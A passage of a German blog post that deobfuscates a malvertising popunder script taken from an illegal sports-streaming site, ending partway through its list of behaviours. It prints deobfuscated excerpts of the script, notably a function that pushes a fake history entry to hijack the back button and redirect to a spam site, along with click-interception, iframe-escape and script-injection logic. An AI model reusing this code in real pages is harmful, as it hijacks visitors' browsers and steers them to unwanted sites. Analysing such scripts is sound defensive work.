Inzwischen wissen wir alle, dass die großen Tech-Giganten wie Facebook oder Google alles über unser Leben wissen, einschließlich der Häufigkeit, mit der wir die Toilette aufsuchen (daher all die Prostatamittelwerbung, die immer wieder auftaucht, sogar auf seriösen Nachrichten-Websites). Schließlich haben wir ihnen die Erlaubnis dazu erteilt, indem wir Seiten über Seiten von juristischem Kauderwelsch auf ihren AGB-Seiten gelesen haben (das haben wir doch alle getan, oder?) und auf den Button "Akzeptieren" geklickt haben.
Aber was kann eine Website mit Ihnen oder Ihrem Gerät tun, ohne Ihre ausdrückliche Zustimmung? Was passiert, wenn Sie eine etwas "unangemessene" Website besuchen oder eine "angemessene" Website, die Sie besuchen, ein Drittanbieter-Skript enthält, das nicht gründlich geprüft wurde?
Ist es Ihnen schon einmal passiert, dass Ihr Browser gekapert wird und unzählige Pop-ups erscheinen, und Sie können sie nicht schließen, ohne den Browser komplett zu beenden oder 25 Mal auf die "Zurück"-Schaltfläche zu klicken? Sie fühlen sich in Gefahr, wenn das passiert, oder?
Nach einem Input von Chris hier bei CSS-Tricks beschloss ich, nach einem Skript zu suchen, das genau das tut, und zu sehen, was unter der Haube passiert. Es schien eine ziemlich entmutigende Aufgabe zu sein, aber ich habe daraus ziemlich viel gelernt und am Ende viel Spaß dabei gehabt. Ich hoffe, ich kann etwas von dem Spaß mit Ihnen teilen.
Die Jagd nach dem Skript
Die Idee war, um Chris zu zitieren, "JavaScript-Schnipsel zu finden, die überraschend beängstigende Dinge tun".
Das Erste, was ich tat, war, eine virtuelle Maschine mit Virtual Box auf meinem Haupt-Ubuntu-Entwicklungs-PC einzurichten. Auf diese Weise, falls die besuchten Websites und die darin enthaltenen Skripte etwas Beängstigendes mit meinem Computer versuchen würden, müsste ich nur die VM löschen, ohne meinen kostbaren Laptop zu gefährden. Ich installierte die neueste Version von Ubuntu auf der VM, öffnete den Browser und ging auf die Jagd.
Eines der Dinge, nach denen ich suchte, war die Verwendung einer Variation des berüchtigten Evercookie (auch bekannt als "nicht löschbarer Cookie"), was ein klares Zeichen für zwielichtige Tracking-Techniken wäre.
Wo sollte man nach einem solchen Skript suchen? Ich versuchte, eine der oben erwähnten aufdringlichen Anzeigen auf legitimen Websites zu finden, konnte aber keine finden. Es scheint, dass die werbeführenden Unternehmen viel besser darin geworden sind, verdächtige Skripte zu erkennen, indem sie den Prüfprozess automatisieren, nehme ich an.
Ich probierte einige seriöse Nachrichten-Websites aus, um zu sehen, ob etwas Interessantes dabei war, aber alles, was ich fand, waren Tonnen von Standard-Tracking-Skripten (und JavaScript-Fehler in den Konsolenprotokollen). In diesen Fällen besteht der Großteil dessen, was die Skripte tun, darin, Daten an einen Server zu senden, und da Sie wenig Möglichkeit haben zu wissen, was der Server tatsächlich mit den Daten macht, wäre es sehr schwierig gewesen, sie zu zerlegen.
Dann dachte ich, der beste Ort, um nach "beängstigenden" Dingen zu suchen, wären Websites, deren Eigentümer kein rechtliches Vorgehen riskieren, wenn sie etwas "Beängstigendes" mit ihren Nutzern tun. Das heißt, im Grunde genommen Websites, bei denen der Nutzer von vornherein versucht, etwas zu tun, das an die Illegalität grenzt.
Ich schaute mir einige Pirate Bay Proxies an, ohne Erfolg. Dann beschloss ich, zu Websites zu wechseln, die Links zu illegalen Sportübertragungen anbieten. Ich ging ein paar Websites durch und schaute mir sorgfältig die Skripte an, die sie mit den DevTools von Chromium enthielten.
Auf einer Website, die unter anderem illegale Tischtennis-Übertragungen anbot, bemerkte ich (in der Liste der JavaScripts im DevTools Network-Tab) neben Drittanbieter-Bibliotheken, Standard-UI-Skripten und der allzu häufigen doppelten Einbindung der Google Analytics-Bibliothek (autsch!) ein seltsam benanntes Skript ohne .js-Erweiterung und nur einer Zahl als URL.

Ich sah mir die scheinbar unendlichen paar Zeilen verschleierten Codes an, die den größten Teil des Skriptcodes ausmachten, und fand Strings wie chromePDFPopunderNew, adblockPopup, flashFileUrl, maskierte <script>-Tags und sogar einen String, der ein Inline-PDF enthielt. Das sah nach interessanten Dingen aus. Die Jagd war vorbei! Ich lud das Skript auf meinen Computer herunter und begann, es zu entschlüsseln.
Ich verrate die Domains, die an dieser Operation beteiligt sind, nicht explizit, da wir uns für die Sünde hier interessieren, nicht für den Sünder. Ich habe jedoch bewusst einen Weg hinterlassen, um zumindest die Haupt-URL zu ermitteln, an die das Skript Benutzer sendet. Wenn Sie das Rätsel lösen können, senden Sie mir eine private Nachricht, und ich werde Ihnen sagen, ob Sie richtig geraten haben!
Das Skript: Entschleierung und Ermittlung der Konfigurationsparameter
Wie das Skript aussieht
Das Skript ist sowohl aus Sicherheitsgründen als auch zur Gewährleistung eines schnelleren Downloads verschleiert. Es besteht aus einer großen IIFE (Immediately-invoked function expression), einer Technik, die verwendet wird, um ein Stück JavaScript-Code von seiner Umgebung zu isolieren. Der Kontext vermischt sich nicht mit anderen Skripten, und es besteht keine Gefahr von Namensraumkonflikten zwischen Funktions- oder Variablennamen in verschiedenen Skripten.
Hier ist der Anfang des Skripts. Beachten Sie den Beginn des Base64-kodierten PDFs in der letzten Zeile

Und hier ist das Ende davon

Die einzige Aktion im globalen Kontext ist anscheinend das Setzen der globalen Variable zfgloadedpopup auf true, vermutlich um andere Skripte derselben "Familie" darüber zu informieren, dass dieses bereits geladen wurde. Diese Variable wird nur einmal verwendet, sodass das Skript selbst nicht prüft, ob es geladen wurde. Wenn die besuchte Website es also versehentlich zweimal einbindet, erhalten Sie die doppelte Anzahl an Pop-ups zum gleichen Preis. Glück gehabt!
Die große IIFE erwartet zwei Parameter, genannt options und lary. Ich habe tatsächlich den Namen des zweiten Parameters überprüft, um zu sehen, was er bedeuten könnte, und die einzige Bedeutung, die ich fand, war "aggressiv, asozial" im britischen Slang. "Also, wir sind hier aggressiv", dachte ich. "Interessant."
Der Parameter options ist eindeutig ein Objekt mit Schlüsseln und Werten, auch wenn diese völlig unverständlich sind. Der Parameter lary ist eine Art Zeichenkette. Um das zu verstehen, war die einzige Option, das gesamte Skript zu entschleiern. Lesen Sie weiter, und alles wird erklärt.
Entschleierung des Skripts
Ich habe zuerst versucht, auf vorhandene Tools zurückzugreifen, aber keines der verfügbaren Online-Tools schien das zu tun, was ich erwartet hatte. Das meiste, was sie taten, war das Pretty-Printing des Codes, was meine IDE von selbst ziemlich einfach tun kann. Ich habe von JSDetox gelesen, das tatsächlich eine Computersoftware ist und sehr hilfreich sein sollte, um diese Art von Skript zu debuggen. Ich habe jedoch versucht, es in zwei verschiedenen Versionen von Ubuntu zu installieren, und bin in beiden Fällen im Ruby GEM-Abhängigkeits-Höllen gelandet. JSDetox ist ziemlich alt, und ich schätze, es ist praktisch Abandonware jetzt. Die einzige verbleibende Option war, die Dinge hauptsächlich von Hand oder durch manuelle oder halbautomatische Ersetzungen mit regulären Ausdrücken zu durchgehen. Ich musste mehrere Schritte durchlaufen, um das Skript vollständig zu entschlüsseln.
Hier ist ein animiertes GIF, das denselben Codeabschnitt in verschiedenen Phasen der Entschlüsselung zeigt

Der erste Schritt war ziemlich einfach: Er erforderte die Neuformatierung des Codes des Skripts, um Abstände und Zeilenumbrüche hinzuzufügen. Übrig blieb ein ordentlich eingerückter Code, der aber immer noch voller sehr unleserlicher Dinge war, wie dem Folgenden
var w6D0 = window;
for (var Z0 in w6D0) {
if (Z0.length === ((129.70E1, 0x1D2) < 1.237E3 ? (47, 9) : (0x1CE, 1.025E3) < (3.570E2, 122.) ? (12.9E1, true) : (5E0, 99.) > 0x247 ? true : (120.7E1, 0x190)) && Z0.charCodeAt((0x19D > (0x199, 1.5E1) ? (88., 6) : (57., 0x1D9))) === (121.30E1 > (1.23E2, 42) ? (45.2E1, 116) : (129., 85) > (87., 5.7E2) ? (45.1E1, 0x4) : (103., 0x146) >= (0x17D, 6.19E2) ? (1.244E3, 80) : (1.295E3, 149.)) && Z0.charCodeAt(((1.217E3, 90.10E1) <= (0xC2, 128.) ? (66, 'sw') : (0x25, 0xAB) > 1.26E2 ? (134, 8) : (2.59E2, 0x12) > 0xA9 ? 'sw' : (0x202, 0x20F))) === ((95, 15) <= 63 ? (0x10B, 114) : (0xBB, 8.72E2) <= (62, 51.) ? 'r' : (25, 70.) >= (110.4E1, 0x8D) ? (121, 72) : (42, 11)) && Z0.charCodeAt(((96.80E1, 4.7E1) >= 62. ? (25.70E1, 46) : 0x13D < (1.73E2, 133.1E1) ? (0x1A4, 4) : (28, 0x1EE) <= 36.30E1 ? 37 : (14.61E2, 0x152))) === (81. > (0x1FA, 34) ? (146, 103) : (0x8A, 61)) && Z0.charCodeAt(((92.60E1, 137.6E1) > (0x8, 0x3F) ? (123., 0) : (1.41E2, 12.11E2))) === ((0xA, 0x80) > (19, 2.17E2) ? '' : (52, 0x140) > (80., 0x8E) ? (42, 110) : 83.2E1 <= (0x69, 0x166) ? (41., 'G') : (6.57E2, 1.093E3))) break
}
;
Was macht dieser Code? Die einzige Lösung war, zu versuchen, den Code in einer Konsole auszuführen und zu sehen, was passiert. Wie sich herausstellt, durchläuft dieser Code alle Eigenschaften von window und bricht die Schleife ab, wenn diese sehr komplizierte Bedingung zutrifft. Das Endergebnis ist irgendwie lustig, denn all der obige Code tut Folgendes
var Z0 = 'navigator'
... nämlich die `navigator`-Eigenschaft von `window` in einer Variablen namens `Z0` zu speichern. Das ist in der Tat ein großer Aufwand, nur um eine Variable zuzuweisen! Es gab mehrere Variablen, die auf diese Weise verschleiert waren, und nach ein paar Durchläufen der Ausführung in der Konsole konnte ich die folgenden globalen Variablen erhalten
var Z0 = 'navigator';
var Q0 = 'history';
var h0 = 'window'; // see comment below
/* Window has already been declared as w6D0. This is used to call the Window object of a variable containing a reference to a different window, other than the current one */
Dasselbe könnte auf mehrere andere globale Variablen angewendet werden, die am Anfang des Skripts deklariert sind. Dieser ganze Zirkus erschien mir etwas albern, da viele andere Variablen im Skript ein paar Zeilen später offener deklariert werden, wie diese
var m7W = {'K2': 'documentElement',
'W0': 'navigator',
'A2': 'userAgent',
'o2': 'document'};
Aber egal. Nach diesem Verfahren blieb mir eine Reihe von Variablen, die für das Skript global sind und überall darin verwendet werden.
Zeit für einige Massenersetzungen. Ich habe die Variable w6D0 überall durch window ersetzt und dann mit den anderen globalen Variablen fortgefahren.
Erinnern Sie sich an die Variable h0 oben? Sie ist überall, verwendet in Anweisungen wie der folgenden
if (typeof w6D0[h0][H8] == M3) {
…die nach der Ersetzung wurde zu
if (typeof window['window'][H8] == M3) {
Das ist nicht viel klarer als zuvor, aber immer noch ein kleiner Schritt nach vorn von dort, wo ich angefangen habe. Ebenso die folgende Zeile
var p = w6D0[X0][H](d3);
…wurde dies
var p = window["document"][H](d3);
Bei der für dieses Skript verwendeten Verschleierungstechnik werden die Namen von Variablen, die lokal zu einer Funktion sind, normalerweise durch Namen mit einem einzigen Buchstaben ersetzt, wie dieser
function D9(O, i, p, h, j) {
var Q = 'newWin.opener = null;', Z = 'window.parent = null;', u = ' = newWin;', N = 'window.parent.',
w = '' + atob('Ig==') + ');', g = '' + atob('Ig==') + ', ' + atob('Ig==') + '',
f = 'var newWin = window.open(' + atob('Ig==') + '', d = 'window.frameElement = null;',
k = 'window.top = null;', r = 'text', l = 'newWin_', F = 'contentWindow', O9 = 'new_popup_window_',
I = 'disableSafeOpen', i9 = e['indexOf']('MSIE') !== -'1';
// more function code here
}
Die meisten Namen globaler Variablen wurden jedoch durch Namen mit mehreren Buchstaben ersetzt, und all diese Namen sind eindeutig. Das bedeutet, dass ich sie global überall im Skript ersetzen konnte.
Es gab noch einen weiteren großen Stapel globaler Variablen
var W8 = 'plugins', f7 = 'startTimeout', z1 = 'attachEvent', b7 = 'mousemove', M1 = 'noScrollPlease',
w7 = 'isOnclickDisabledInKnownWebView', a1 = 'notificationsUrl', g7 = 'notificationEnable', m8 = 'sliderUrl',
T8 = 'interstitialUrl', v7 = '__interstitialInited', C8 = '%22%3E%3C%2Fscript%3E',
O8 = '%3Cscript%20defer%20async%20src%3D%22', i8 = 'loading', p8 = 'readyState', y7 = '__pushupInited',
o8 = 'pushupUrl', G7 = 'mahClicks', x7 = 'onClickTrigger', J7 = 'p', r7 = 'ppu_overlay', d7 = 'PPFLSH',
I1 = 'function', H7 = 'clicksSinceLastPpu', k7 = 'clicksSinceSessionStart', s7 = 'lastPpu', l7 = 'ppuCount',
t7 = 'seriesStart', e7 = 2592000000, z7 = 'call', Y1 = '__test', M7 = 'hostname', F1 = 'host',
a7 = '__PPU_SESSION_ON_DOMAIN', I7 = 'pathname', Y7 = '__PPU_SESSION', F7 = 'pomc', V7 = 'ActiveXObject',
q7 = 'ActiveXObject', c7 = 'iOSClickFix',
m7 = 10802, D8 = 'screen',
// ... and many more
Ich habe all diese ebenfalls mit einem automatisierten Skript ersetzt, und viele der Funktionen wurden verständlicher. Einige wurden sogar ohne weitere Arbeit perfekt verständlich. Eine Funktion zum Beispiel ging von diesem
function a3() {
var W = E;
if (typeof window['window'][H8] == M3) {
W = window['window'][H8];
} else {
if (window["document"][m7W.K2] && window["document"][m7W.K2][q5]) {
W = window["document"][m7W.K2][q5];
} else {
if (window["document"][z] && window["document"][z][q5]) {
W = window["document"][z][q5];
}
}
}
return W;
}
...zu diesem:
function a3() {
var W = 0;
if (typeof window['window']['innerWidth'] == 'number') {
W = window['window']['innerWidth'];
} else {
if (window["document"]['documentElement'] && window["document"]['documentElement']['clientWidth']) {
W = window["document"]['documentElement']['clientWidth'];
} else {
if (window["document"]['body'] && window["document"]['body']['clientWidth']) {
W = window["document"]['body']['clientWidth'];
}
}
}
return W;
}
Wie Sie sehen können, versucht diese Funktion, die Breite des Client-Fensters zu ermitteln, indem sie alle verfügbaren browserübergreifenden Optionen verwendet. Das mag etwas übertrieben erscheinen, da window.innerWidth von allen Browsern ab IE9 unterstützt wird.
window.document.documentElement.clientWidth funktioniert jedoch sogar in IE6; dies zeigt uns, dass unser Skript versucht, so browserübergreifend kompatibel wie möglich zu sein. Wir werden später mehr dazu sehen.
Beachten Sie, wie dieses Skript die Klammernotation intensiv nutzt, um alle Eigenschafts- und Funktionsnamen zu verschlüsseln, zum Beispiel
window["document"]['documentElement']['clientWidth']
…anstatt
window.document.documentElement.clientWidth
Dies ermöglicht es dem Skript, die Namen von Objektmethoden und Eigenschaften durch zufällige Zeichenketten zu ersetzen, die dann einmal – am Anfang des Skripts – mit dem richtigen Methoden- oder Eigenschaftsnamen definiert werden. Dies macht den Code sehr schwer lesbar, da man alle Ersetzungen rückgängig machen muss. Es ist offensichtlich nicht nur eine Verschleierungstechnik, da das Ersetzen langer Eigenschaftsnamen durch ein oder zwei Buchstaben, wenn sie oft vorkommen, ziemlich viele Bytes an der Gesamtdateigröße des Skripts einsparen kann und es somit schneller herunterlädt.
Das Endergebnis der letzten Ersetzungsserie, die ich durchgeführt habe, machte den Code noch klarer, aber ich hatte immer noch ein sehr langes Skript mit vielen Funktionen mit unverständlichen Namen, wie diese
function k9(W, O) {
var i = 0, p = [], h;
while (i < W.length) {
h = O(W[i], i, W);
if (h !== undefined) {
p['push'](h);
}
i += '1';
}
return p;
}
Alle haben Variablendeklarationen am Anfang jeder Funktion, höchstwahrscheinlich das Ergebnis der Verschleierungs-/Komprimierungstechnik, die auf den Originalcode angewendet wurde. Es ist auch möglich, dass der oder die Autoren dieses Codes sehr gewissenhaft waren und alle Variablen zu Beginn jeder Funktion deklariert haben, aber da habe ich einige Zweifel.
Die obige Funktion k9 wird im Skript diffus verwendet, daher war sie eine der ersten, die ich angehen musste. Sie erwartet zwei Argumente, W und O, und bereitet eine Rückgabevariable (p) vor, die als leeres Array initialisiert wird, sowie eine temporäre Variable (h).
Dann durchläuft sie W mit einer while-Schleife
while (i < W.length) {
Dies sagt uns, dass das W-Argument ein Array sein wird, oder zumindest etwas, das wie ein Objekt oder eine Zeichenkette durchlaufen werden kann. Es liefert dann das aktuelle Element in der Schleife, den aktuellen Index der Schleife und das gesamte W-Argument als Parameter an das anfängliche O-Argument, was uns sagt, dass letzteres eine Funktion irgendeiner Art sein wird. Es speichert das Ergebnis der Ausführung der Funktion in der temporären Variable h
h = O(W[i], i, W);
Wenn das Ergebnis dieser Funktion nicht undefined ist, wird es an das Ergebnisarray p angehängt.
if (h !== undefined) {
p['push'](h);
}
Die zurückgegebene Variable ist p.
Welche Art von Konstrukt ist das? Es ist offensichtlich eine Mapping/Filter-Funktion, aber sie mappt nicht nur das ursprüngliche Objekt W, da sie nicht alle seine Werte zurückgibt, sondern einige davon auswählt. Sie filtert sie auch nicht nur, da sie nicht einfach auf true oder false prüft und das ursprüngliche Element zurückgibt. Es ist eine Art Hybrid aus beidem.
Ich musste diese Funktion umbenennen, genau wie die meisten anderen, und ihr einen leicht verständlichen Namen geben, der den Zweck der Funktion erklärte.
Da diese Funktion im Skript normalerweise verwendet wird, um das ursprüngliche Objekt W auf die eine oder andere Weise zu transformieren, beschloss ich, sie mapByFunction zu nennen. Hier ist sie, in ihrer unverschleierten Herrlichkeit
function mapByFunction(myObject, mappingFunction) {
var i = 0, result = [], h;
while (i < myObject.length) {
h = mappingFunction(myObject[i], i, myObject);
if (h !== undefined) {
result['push'](h);
}
i += 1;
}
return result;
}
Ein ähnliches Verfahren musste auf alle Funktionen im Skript angewendet werden, wobei versucht wurde, eine nach der anderen zu erraten, was sie zu erreichen versuchten, welche Variablen ihnen übergeben wurden und was sie zurückgaben. In vielen Fällen ging es darum, im Code hin und her zu gehen, wenn eine Funktion, die ich entschlüsselte, eine andere Funktion verwendete, die ich noch nicht entschlüsselt hatte.
Einige andere Funktionen waren in anderen verschachtelt, weil sie nur im Kontext der umschließenden Funktion verwendet wurden oder weil sie Teil eines Drittanbieter-Codes waren, der unverändert in das Skript kopiert worden war.
Am Ende all dieser mühsamen Arbeit hatte ich ein großes Skript voller ziemlich verständlicher Funktionen, alle mit schönen beschreibenden (wenn auch sehr langen) Namen.
Hier sind einige der Namen aus der Struktur-Ansicht meiner IDE

Jetzt, da die Funktionen Namen haben, kann man einige der Dinge erraten, die dieses Skript tut. Möchte jemand von Ihnen versuchen, injectPDFAndDoStuffDependingOnChromeVersion in den Browser von jemandem zu injizieren?
Struktur des Skripts
Sobald die einzelnen Funktionen, aus denen das Skript besteht, entschlüsselt waren, versuchte ich, das Ganze zu verstehen.
Das Skript besteht am Anfang aus vielen Hilfsfunktionen, die oft andere Funktionen aufrufen und manchmal Variablen im globalen Geltungsbereich setzen (igitt!). Dann beginnt die Hauptlogik des Skripts, ungefähr in Zeile 1.680 meiner entschleierten Version.
Das Skript kann sich je nach der übergebenen Konfiguration sehr unterschiedlich verhalten: Viele Funktionen prüfen einen oder mehrere Parameter im Hauptargument options, wie hier
if (options['disableSafeOpen'] || notMSIE) {
// code here
}
Oder so
if (!options['disableChromePDFPopunderEventPropagation']) {
p['target']['click']();
}
Aber das options-Argument ist, wenn Sie sich erinnern, verschlüsselt. Also war der nächste Schritt, es zu entschlüsseln.
Entschlüsselung der Konfigurationsparameter
Ganz am Anfang des Hauptcodes des Skripts gibt es diesen Aufruf
// decode options;
if (typeof options === 'string') {
options = decodeOptions(options, lary);
}
decodeOptions ist der Name, den ich der Funktion gegeben habe, die die Arbeit erledigt. Ursprünglich erhielt sie den bescheidenen Namen g4.
Schließlich verwenden wir auch das geheimnisvolle lary-Argument, dessen Wert ist
"abcdefghijklmnopqrstuvwxyz0123456789y90x4wa5kq72rftj3iepv61lgdmhbn8ouczs"
Die erste Hälfte der Zeichenkette ist eindeutig das Alphabet in Kleinbuchstaben, gefolgt von den Zahlen 0 bis 9. Die zweite Hälfte besteht aus zufälligen Zeichen. Sieht das wie eine Chiffre für Sie aus? Wenn Ihre Antwort Ja ist, haben Sie verdammt Recht. Es ist tatsächlich eine einfache Substitutionschiffre, mit einem kleinen Twist.
Die gesamte Funktion decodeOptions sieht so aus
function decodeOptions(Options, lary) {
var p = ')',
h = '(',
halfLaryLength = lary.length / 2,
firstHalfOfLary = lary['substr'](0, halfLaryLength),
secondHalfOfLary = lary['substr'](halfLaryLength),
w,
// decrypts the option string before JSON parsing it
g = mapByFunction(Options, function (W) {
w = secondHalfOfLary['indexOf'](W);
return w !== -1 ? firstHalfOfLary[w] : W;
})['join']('');
if (window['JSON'] && window['JSON']['parse']) {
try {
return window['JSON']['parse'](g);
} catch (W) {
return eval(h + g + p);
}
}
return eval(h + g + p);
}
Sie setzt zunächst ein paar Variablen, die öffnende und schließende Klammern enthalten, die später verwendet werden.
var p = ')',
h = '(',
Dann teilt sie unser lary-Argument in zwei Hälften
halfLaryLength = lary.length / 2,
firstHalfOfLary = lary['substr'](0, halfLaryLength),
secondHalfOfLary = lary['substr'](halfLaryLength),
Als Nächstes bildet sie die Options-Zeichenkette Buchstabe für Buchstabe mit dieser Funktion ab
function (W) {
w = secondHalfOfLary['indexOf'](W);
return w !== -1 ? firstHalfOfLary[w] : W;
}
Wenn der aktuelle Buchstabe in der zweiten Hälfte des lary-Arguments vorhanden ist, gibt sie den entsprechenden Buchstaben des Kleinbuchstaben-Alphabets im ersten Teil desselben Arguments zurück. Andernfalls gibt sie den aktuellen Buchstaben unverändert zurück. Das bedeutet, dass der options-Parameter sozusagen nur halb verschlüsselt ist.
Nachdem die Abbildung stattgefunden hat, wird das resultierende Array von entschlüsselten Buchstaben g (denken Sie daran, mapByFunction gibt immer ein Array zurück) wieder in eine Zeichenkette umgewandelt.
g['join']('')
Die Konfiguration ist anfangs ein JSON-Objekt, daher versucht das Skript, die native JSON.parse-Funktion des Browsers zu verwenden, um es in ein Objektliteral umzuwandeln. Wenn das JSON-Objekt nicht verfügbar ist (IE7 oder niedriger, Firefox und Safari 3 oder niedriger), greift es darauf zurück, es in Klammern zu setzen und auszuwerten.
if (window['JSON'] && window['JSON']['parse']) {
try {
return window['JSON']['parse'](g);
} catch (W) {
return eval(h + g + p);
}
}
return eval(h + g + p);
Dies ist ein weiterer Fall, in dem das Skript extrem browserübergreifend kompatibel ist und sogar Browser unterstützt, die mehr als 10 Jahre alt sind. Ich werde versuchen zu erklären, warum das so ist.
Nun ist die Variable options entschlüsselt. Hier ist sie in ihrer ganzen entschlüsselten Pracht, wenn auch mit den ursprünglichen URLs weggelassen.
let options = {
SS: true,
adblockPopup: true,
adblockPopupLink: null,
adblockPopupTimeout: null,
addOverlay: false,
addOverlayOnMedia: true,
aggressive: false,
backClickAd: false,
backClickNoHistoryOnly: false,
backClickZone: null,
chromePDFPopunder: false,
chromePDFPopunderNew: false,
clickAnywhere: true,
desktopChromeFixPopunder: false,
desktopPopunderEverywhere: false,
desktopPopunderEverywhereLinks: false,
disableChromePDFPopunderEventPropagation: false,
disableOnMedia: false,
disableOpenViaMobilePopunderAndFollowLinks: false,
disableOpenViaMobilePopunderAndPropagateEvents: false,
disablePerforamnceCompletely: false,
dontFollowLink: false,
excludes: [],
excludesOpenInPopunder: false,
excludesOpenInPopunderCapping: null,
expiresBackClick: null,
getOutFromIframe: false,
iOSChromeSwapPopunder: false,
iOSClickFix: true,
iframeTimeout: 30000,
imageToTrackPerformanceOn: "", /* URL OMITTED */
includes: [],
interstitialUrl: "", /* URL OMITTED */
isOnclickDisabledInKnownWebView: false,
limLo: false,
mahClicks: true,
mobilePopUpTargetBlankLinks: false,
mobilePopunderTargetBlankLinks: false,
notificationEnable: false,
openPopsWhenInIframe: false,
openViaDesktopPopunder: false,
openViaMobilePopunderAndPropagateFormSubmit: false,
partner: "pa",
performanceUrl: "", /* URL OMITTED */
pomc: false,
popupThroughAboutBlankForAdBlock: false,
popupWithoutPropagationAnywhere: false,
ppuClicks: 0,
ppuQnty: 3,
ppuTimeout: 25,
prefetch: "",
resetCounters: false,
retargetingFrameUrl: "",
scripts: [],
sessionClicks: 0,
sessionTimeout: 1440,
smartOverlay: true,
smartOverlayMinHeight: 100,
smartOverlayMinWidth: 450,
startClicks: 0,
startTimeout: 0,
url: "", /* URL OMITTED */
waitForIframe: true,
zIndex: 2000,
zoneId: 1628975
}
Ich fand die Tatsache, dass es eine aggressive Option gibt, sehr interessant, obwohl diese Option leider im Code nicht verwendet wird. Angesichts all der Dinge, die dieses Skript mit Ihrem Browser tut, war ich sehr neugierig, was es getan hätte, wenn es "aggressiver" wäre.
Nicht alle Optionen, die dem Skript übergeben werden, werden tatsächlich im Skript verwendet; und nicht alle Optionen, die das Skript prüft, sind im options-Argument dieser Version enthalten. Ich gehe davon aus, dass einige der Optionen, die im Skript fehlen, in Versionen verwendet werden, die auf anderen Websites eingesetzt werden, insbesondere in Fällen, in denen dieses Skript auf mehreren Domains verwendet wird. Einige Optionen könnten auch aus Legacy-Gründen vorhanden sein und einfach nicht mehr verwendet werden. Das Skript hat einige leere Funktionen übrig gelassen, die wahrscheinlich einige der fehlenden Optionen verwendet haben.
Was macht das Skript tatsächlich?
Allein durch das Lesen der Namen der oben genannten Optionen kann man vieles erraten, was dieses Skript tut: Es öffnet ein smartOverlay, sogar unter Verwendung eines speziellen adblockPopup. Wenn Sie clickAnywhere klicken, öffnet es eine url. In unserer speziellen Version des Skripts wird es openPopsWhenInIframe nicht öffnen und es wird getOutFromIframe nicht ausführen, obwohl es einen iOSClickFix anwenden wird. Es zählt Pop-ups und speichert den Wert in ppuCount und verfolgt sogar die Leistung mit einem imageToTrackPerformanceOn (das, wie ich Ihnen sagen kann, auch wenn ich die URL weggelassen habe, auf einem CDN gehostet wird). Es verfolgt ppuClicks (Pop-up-Klicks, nehme ich an) und beschränkt sich vorsichtig auf eine ppuQnty (wahrscheinlich eine Pop-up-Menge).
Durch das Lesen des Codes konnte ich offensichtlich noch viel mehr herausfinden. Sehen wir uns an, was das Skript tut und folgen wir seiner Logik. Ich werde versuchen, all die interessanten Dinge zu beschreiben, die es tun kann, einschließlich derjenigen, die nicht durch die von mir entschlüsselten Optionen ausgelöst werden.
Der Hauptzweck dieses Skripts ist es, den Benutzer zu einer URL zu leiten, die in seiner Konfiguration als options['url'] gespeichert ist. Die URL in der von mir gefundenen Konfiguration leitete mich zu einer sehr spammy Website weiter, daher werde ich diese URL der Klarheit halber fortan als Spammy Site bezeichnen.
1. Ich will aus diesem iFrame raus!
Das Erste, was dieses Skript tut, ist, zu versuchen, eine Referenz auf das oberste Fenster zu erhalten, falls das Skript selbst innerhalb eines iFrames ausgeführt wird, und, falls die aktuelle Konfiguration dies erfordert, dieses als Hauptfenster festzulegen, auf dem operiert werden soll, und alle Referenzen auf das Dokumentenelement und den User-Agent auf die des obersten Fensters zu setzen.
if (options['getOutFromIframe'] && iframeStatus === 'InIframeCanExit') {
while (myWindow !== myWindow.top) {
myWindow = myWindow.top;
}
myDocument = myWindow['document'];
myDocumentElement = myWindow['document']['documentElement'];
myUserAgent = myWindow['navigator']['userAgent'];
}
2. Was ist Ihr bevorzugter Browser?
Das Zweite, was es tut, ist eine sehr genaue Erkennung des aktuellen Browsers, der Browserversion und des Betriebssystems durch Parsen der User-Agent-Zeichenkette. Es erkennt, ob der Benutzer Chrome und seine spezifische Version verwendet, Firefox, Firefox für Android, UC Browser, Opera Mini, Yandex oder ob der Benutzer die Facebook-App verwendet. Einige Prüfungen sind sehr spezifisch.
isYandexBrowser = /YaBrowser/['test'](myUserAgent),
isChromeNotYandex = chromeVersion && !isYandexBrowser,
Wir werden später sehen, warum.
3. All your browser are belong to us.

Das erste beunruhigende, was das Skript tut, ist, auf die Anwesenheit der Funktion history.pushState() zu prüfen, und wenn sie vorhanden ist, injiziert das Skript einen gefälschten Historieneintrag mit dem Titel der aktuellen URL. Dies ermöglicht es ihm, Rückklick-Ereignisse abzufangen (mithilfe des popstate-Ereignisses) und den Benutzer stattdessen zur Spammy Site anstatt zur vorherigen Seite, die der Benutzer tatsächlich besucht hat, zu leiten. Wenn es nicht zuerst einen gefälschten Historieneintrag hinzugefügt hätte, würde diese Technik nicht funktionieren.
function addBackClickAd(options) {
if (options['backClickAd'] && options['backClickZone'] && typeof window['history']['pushState'] === 'function') {
if (options['backClickNoHistoryOnly'] && window['history'].length > 1) {
return false;
}
// pushes a fake history state with the current doc title
window['history']['pushState']({exp: Math['random']()}, document['title'], null);
var createdAnchor = document['createElement']('a');
createdAnchor['href'] = options['url'];
var newURL = 'http://' + createdAnchor['host'] + '/afu.php?zoneid=' + options['backClickZone'] + '&var=' + options['zoneId'];
setTimeout(function () {
window['addEventListener']('popstate', function (W) {
window['location']['replace'](newURL);
});
}, 0);
}
}
Diese Technik wird nur außerhalb des iFrame-Kontexts verwendet und nicht unter Chrome iOS und UC Browser.
4. Dieser Browser braucht mehr Skripte
Wenn ein bösartiges Skript nicht ausreicht, versucht das Skript, weitere Skripte zu injizieren, abhängig von der Konfiguration. Alle Skripte werden dem <head> des Dokuments hinzugefügt und können etwas enthalten, das entweder als Interstitial, Slider oder Pushup bezeichnet wird. Ich nehme an, all dies sind verschiedene Formen von aufdringlichen Anzeigen, die dem Browser angezeigt werden. Ich konnte es nicht herausfinden, da in unserem Skriptfall die Konfiguration keine davon enthielt, abgesehen von einer, die eine tote URL war, als ich sie überprüfte.
5. Angriff des Click-Interceptoren
Als Nächstes fügt das Skript eine "Click-Interceptor"-Funktion an alle Arten von Klick-Ereignissen auf dem Dokument an, einschließlich Touch-Ereignissen auf Mobilgeräten. Diese Funktion fängt alle Benutzerklicks oder -tipps auf dem Dokument ab und öffnet verschiedene Arten von Pop-ups, wobei je nach Gerät verschiedene Techniken verwendet werden.
